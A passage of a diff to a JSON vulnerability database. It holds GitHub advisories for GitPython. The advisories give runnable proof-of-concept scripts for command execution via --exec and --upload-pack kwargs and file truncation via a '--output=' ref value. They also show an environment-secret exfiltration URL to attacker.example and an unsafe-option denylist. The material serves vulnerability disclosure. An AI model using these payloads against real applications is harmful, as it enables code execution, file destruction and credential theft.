file)`** place the caller's `rev` value into the argv *before* the `--` end-of-options separator and apply no leading-dash check. A benign-looking ref value such as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the `--output` option, which **opens and truncates an arbitrary file** before Git even validates the revision \u2192 arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).\n\nThe first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the `check_unsafe_options` / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.\n\n## Details\n\nGitPython explicitly recognises these options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options = [\n # Arbitrary command execution.\n \"--upload-pack\",\n \"--receive-pack\",\n # Arbitrary file overwrite.\n \"--exec\",\n]\n```\n\nand enforces them via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef check_unsafe_options(cls, options, unsafe_options):\n ...\n if unsafe_option is not None:\n raise UnsafeOptionError(f\"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.\")\n```\n\nBut `check_unsafe_options` is invoked from **only five sites**, all network commands:\n\n```\ngit/remote.py:1071 Remote.fetch\ngit/remote.py:1125 Remote.pull\ngit/remote.py:1198 Remote.push\ngit/repo/base.py:1410 / :1412 Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled options/positionals and are **not** guarded:\n\n### 1. `Repo.archive` \u2014 command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self, ostream, treeish=None, prefix=None, **kwargs):\n ...\n self.git.archive(\"--\", treeish, *path, **kwargs)\n return self\n```\n\n`treeish` and `path` are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg` (`git/cmd.py:1487`) into `--=` flags and inserted **before** the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive` already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive --remote=. --exec= -- \n```\n\n`git archive --remote=` runs the upload-archive helper; `--exec=` overrides the helper path, executing `` on the host. This works with **default Git config** \u2014 it does not rely on the `ext::` transport (which is blocked by default).\n\n### 2. `repo.git.ls_remote(..., upload_pack=...)` \u2014 command execution (dynamic builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack` \u2192 `--upload-pack=`. `git ls-remote --upload-pack=` executes ``. The dynamic builder makes **both** the flag name and value caller-controlled (`repo.git.(**user_dict)`), and `ls_remote` has no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` \u2014 but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n### 3. `Repo.iter_commits` / `Repo.blame` \u2014 arbitrary file overwrite (`git/objects/commit.py:348`, `git/repo/base.py:1199`)\n\n```python\n# Commit.iter_items (reached via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == [\"--\", *paths]\n```\n\n```python\n# Repo.blame\ndata = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False, **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash check anywhere in the path. A caller passing `rev=\"--output=/path\"` (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git rev-list`/`log`/`blame` honour `--output=`, which `open()`s and truncates the file *before* validating the revision \u2014 so the file is destroyed even though Git then errors out on the bad revision.\n\n## PoC\n\nAll three PoCs are self-contained, run against the released **GitPython 3.1.50** under **default Git configuration**, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.\n\n### Install\n\n```bash\npython3 -m venv venv && . venv/bin/activate\npip install GitPython # resolves to 3.1.50\npython -c \"import git; print(git.__version__)\" # 3.1.50\n```\n\n### PoC 1 \u2014 command execution via `Repo.archive`\n\n```python\n# archive_rce.py\nimport io, os, tempfile, subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n 'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')\nif os.path.exists(marker): os.remove(marker)\n\n# a service lets a user export a repo and forwards their options dict\nopts = {'remote': '.', 'exec': 'touch ' + marker}\ntry:\n repo.archive(io.BytesIO(), **opts)\nexcept git.exc.GitCommandError as e:\n print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])\n\nprint('[+] marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n`git config --get protocol.ext.allow` returns nothing (unset = default), confirming no special config is required.\n\n### PoC 2 \u2014 command execution via `git.ls_remote(upload_pack=...)`\n\n```python\n# lsremote_rce.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')\nif os.path.exists(marker): os.remove(marker)\ntry:\n repo.git.ls_remote('.', upload_pack='touch '+marker+';')\nexcept git.exc.GitCommandError as e:\n print('[*] git err:', str(e).splitlines()[0][:50])\nprint('[+] ls-remote marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git err: Cmd('git') failed due to: exit code(128)\n[+] ls-remote marker present: True\n```\n\n### PoC 3 \u2014 arbitrary file overwrite via a benign-looking `rev`\n\n```python\n# itercommits_filewrite.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')\nopen(victim,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(victim).read()))\nuser_ref = '--output=' + victim # value an app forwards as a \"ref/branch\"\ntry:\n list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as e:\n print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])\nprint('[+] after :', repr(open(victim).read()), '<- truncated')\n```\n\nVerbatim output:\n\n```\n[*] before: 'do not delete\\n'\n[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)\n[+] after : '' <- truncated\n```", "severity": [ { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", + "type": "CVSS_V3" } ], + "summary": "GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist" + }, + { "affected": [ { + "database_specific": { + "last_known_affected_version_range": "<= 3.1.50", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-956x-8gvw-wg5v/GHSA-956x-8gvw-wg5v.json" + }, "package": { "ecosystem": "PyPI", "name": "gitpython", @@ -1120,7 +1157,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -1128,7 +1164,8 @@ { "fixed": "3.1.51" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -1235,13 +1272,23 @@ "3.1.7", "3.1.8", "3.1.9" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.1.50", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-956x-8gvw-wg5v/GHSA-956x-8gvw-wg5v.json" - } + ] } ], + "database_specific": { + "cwe_ids": [ + "CWE-77", + "CWE-88" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T20:10:06Z", + "nvd_published_at": null, + "severity": "HIGH" + }, + "details": "## Summary\n\nGitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of \"unsafe\" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, \u2026) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`.\n\nThat enforcement is only wired into the **network** commands \u2014 `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream, treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`. An attacker-influenced options mapping such as `{\"remote\": \".\", \"exec\": \"\"}` becomes `git archive --remote=. --exec= -- `, and `git archive --remote=` invokes `git-upload-archive` whose path is overridden by `--exec` \u2192 **arbitrary command execution under default Git configuration** (no `protocol.ext.allow` needed).\n\n2. **`repo.git.ls_remote(, upload_pack=\"\")`** (and the dynamic-command builder generally) turns the `upload_pack` kwarg into `--upload-pack=` with no guard \u2192 **arbitrary command execution**.\n\n3. **`Repo.iter_commits(rev)`** and **`Repo.blame(rev, file)`** place the caller's `rev` value into the argv *before* the `--` end-of-options separator and apply no leading-dash check. A benign-looking ref value such as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the `--output` option, which **opens and truncates an arbitrary file** before Git even validates the revision \u2192 arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).\n\nThe first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the `check_unsafe_options` / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.\n\n## Details\n\nGitPython explicitly recognises these options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options = [\n # Arbitrary command execution.\n \"--upload-pack\",\n \"--receive-pack\",\n # Arbitrary file overwrite.\n \"--exec\",\n]\n```\n\nand enforces them via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef check_unsafe_options(cls, options, unsafe_options):\n ...\n if unsafe_option is not None:\n raise UnsafeOptionError(f\"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.\")\n```\n\nBut `check_unsafe_options` is invoked from **only five sites**, all network commands:\n\n```\ngit/remote.py:1071 Remote.fetch\ngit/remote.py:1125 Remote.pull\ngit/remote.py:1198 Remote.push\ngit/repo/base.py:1410 / :1412 Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled options/positionals and are **not** guarded:\n\n### 1. `Repo.archive` \u2014 command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self, ostream, treeish=None, prefix=None, **kwargs):\n ...\n self.git.archive(\"--\", treeish, *path, **kwargs)\n return self\n```\n\n`treeish` and `path` are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg` (`git/cmd.py:1487`) into `--=` flags and inserted **before** the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive` already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive --remote=. --exec= -- \n```\n\n`git archive --remote=` runs the upload-archive helper; `--exec=` overrides the helper path, executing `` on the host. This works with **default Git config** \u2014 it does not rely on the `ext::` transport (which is blocked by default).\n\n### 2. `repo.git.ls_remote(..., upload_pack=...)` \u2014 command execution (dynamic builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack` \u2192 `--upload-pack=`. `git ls-remote --upload-pack=` executes ``. The dynamic builder makes **both** the flag name and value caller-controlled (`repo.git.(**user_dict)`), and `ls_remote` has no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` \u2014 but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n### 3. `Repo.iter_commits` / `Repo.blame` \u2014 arbitrary file overwrite (`git/objects/commit.py:348`, `git/repo/base.py:1199`)\n\n```python\n# Commit.iter_items (reached via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == [\"--\", *paths]\n```\n\n```python\n# Repo.blame\ndata = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False, **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash check anywhere in the path. A caller passing `rev=\"--output=/path\"` (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git rev-list`/`log`/`blame` honour `--output=`, which `open()`s and truncates the file *before* validating the revision \u2014 so the file is destroyed even though Git then errors out on the bad revision.\n\n## PoC\n\nAll three PoCs are self-contained, run against the released **GitPython 3.1.50** under **default Git configuration**, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.\n\n### Install\n\n```bash\npython3 -m venv venv && . venv/bin/activate\npip install GitPython # resolves to 3.1.50\npython -c \"import git; print(git.__version__)\" # 3.1.50\n```\n\n### PoC 1 \u2014 command execution via `Repo.archive`\n\n```python\n# archive_rce.py\nimport io, os, tempfile, subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n 'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')\nif os.path.exists(marker): os.remove(marker)\n\n# a service lets a user export a repo and forwards their options dict\nopts = {'remote': '.', 'exec': 'touch ' + marker}\ntry:\n repo.archive(io.BytesIO(), **opts)\nexcept git.exc.GitCommandError as e:\n print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])\n\nprint('[+] marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n`git config --get protocol.ext.allow` returns nothing (unset = default), confirming no special config is required.\n\n### PoC 2 \u2014 command execution via `git.ls_remote(upload_pack=...)`\n\n```python\n# lsremote_rce.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')\nif os.path.exists(marker): os.remove(marker)\ntry:\n repo.git.ls_remote('.', upload_pack='touch '+marker+';')\nexcept git.exc.GitCommandError as e:\n print('[*] git err:', str(e).splitlines()[0][:50])\nprint('[+] ls-remote marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git err: Cmd('git') failed due to: exit code(128)\n[+] ls-remote marker present: True\n```\n\n### PoC 3 \u2014 arbitrary file overwrite via a benign-looking `rev`\n\n```python\n# itercommits_filewrite.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')\nopen(victim,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(victim).read()))\nuser_ref = '--output=' + victim # value an app forwards as a \"ref/branch\"\ntry:\n list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as e:\n print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])\nprint('[+] after :', repr(open(victim).read()), '<- truncated')\n```\n\nVerbatim output:\n\n```\n[*] before: 'do not delete\\n'\n[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)\n[+] after : '' <- truncated\n```", + "id": "GHSA-956x-8gvw-wg5v", + "modified": "2026-07-23T03:14:30.313607442Z", + "published": "2026-07-21T20:10:06Z", "references": [ { "type": "WEB", @@ -1264,32 +1311,25 @@ "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51" } ], - "database_specific": { - "cwe_ids": [ - "CWE-77", - "CWE-88" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T20:10:06Z", - "nvd_published_at": null, - "severity": "HIGH" - } - }, - { - "modified": "2026-07-21T22:15:25Z", - "published": "2026-07-21T22:06:09Z", + "related": [ + "CGA-78vw-9344-jhxg" + ], "schema_version": "1.7.5", - "id": "GHSA-rwj8-pgh3-r573", - "summary": "GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL", - "details": "### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument \u2014 the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners \u2014 can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) \u2014 all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907\u2013925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:\n \"\"\"Remove any backslashes from URLs to be written in config files.\n ...\n \"\"\"\n if is_cygwin is None:\n is_cygwin = cls.is_cygwin()\n\n if is_cygwin:\n url = cygpath(url)\n else:\n url = os.path.expandvars(url) # <-- line 921\n if url.startswith(\"~\"):\n url = os.path.expanduser(url)\n url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n return url\n```\n\n`Repo._clone()` \u2014 reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` \u2014 runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407\u20131418:\n```python\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n multi,\n \"--\",\n Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone`\n clone_path,\n ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion \u2014 the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226\u2013231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git # noqa: E402\nfrom git import Git, Repo # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\" input : {attacker_url}\")\nprint(f\" output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n print(\" -> secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n def __init__(self, cmd, *a, **kw):\n if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n captured[\"cmd\"] = list(cmd)\n super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd # noqa: E402\ngitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n # The clone fails (attacker.example does not resolve); we only need argv.\n print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n print(f\" {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n print(\n \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n \"into the remote clone URL; git would transmit it to attacker.example.\"\n )\n sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n git\n clone\n -v\n --\n https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled \u2014 the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines \u2014 allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves \u2014 mirroring the existing deprecation on `Repo(path, expand_vars=\u2026)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.", "severity": [ { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "type": "CVSS_V3" } ], + "summary": "GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`" + }, + { "affected": [ { + "database_specific": { + "last_known_affected_version_range": "<= 3.1.51", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-rwj8-pgh3-r573/GHSA-rwj8-pgh3-r573.json" + }, "package": { "ecosystem": "PyPI", "name": "gitpython", @@ -1297,7 +1337,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -1305,7 +1344,8 @@ { "fixed": "3.1.52" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -1413,13 +1453,23 @@ "3.1.7", "3.1.8", "3.1.9" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.1.51", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-rwj8-pgh3-r573/GHSA-rwj8-pgh3-r573.json" - } + ] } ], + "database_specific": { + "cwe_ids": [ + "CWE-200", + "CWE-201" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T22:06:09Z", + "nvd_published_at": null, + "severity": "HIGH" + }, + "details": "### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument \u2014 the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners \u2014 can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) \u2014 all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907\u2013925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:\n \"\"\"Remove any backslashes from URLs to be written in config files.\n ...\n \"\"\"\n if is_cygwin is None:\n is_cygwin = cls.is_cygwin()\n\n if is_cygwin:\n url = cygpath(url)\n else:\n url = os.path.expandvars(url) # <-- line 921\n if url.startswith(\"~\"):\n url = os.path.expanduser(url)\n url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n return url\n```\n\n`Repo._clone()` \u2014 reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` \u2014 runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407\u20131418:\n```python\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n multi,\n \"--\",\n Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone`\n clone_path,\n ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion \u2014 the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment 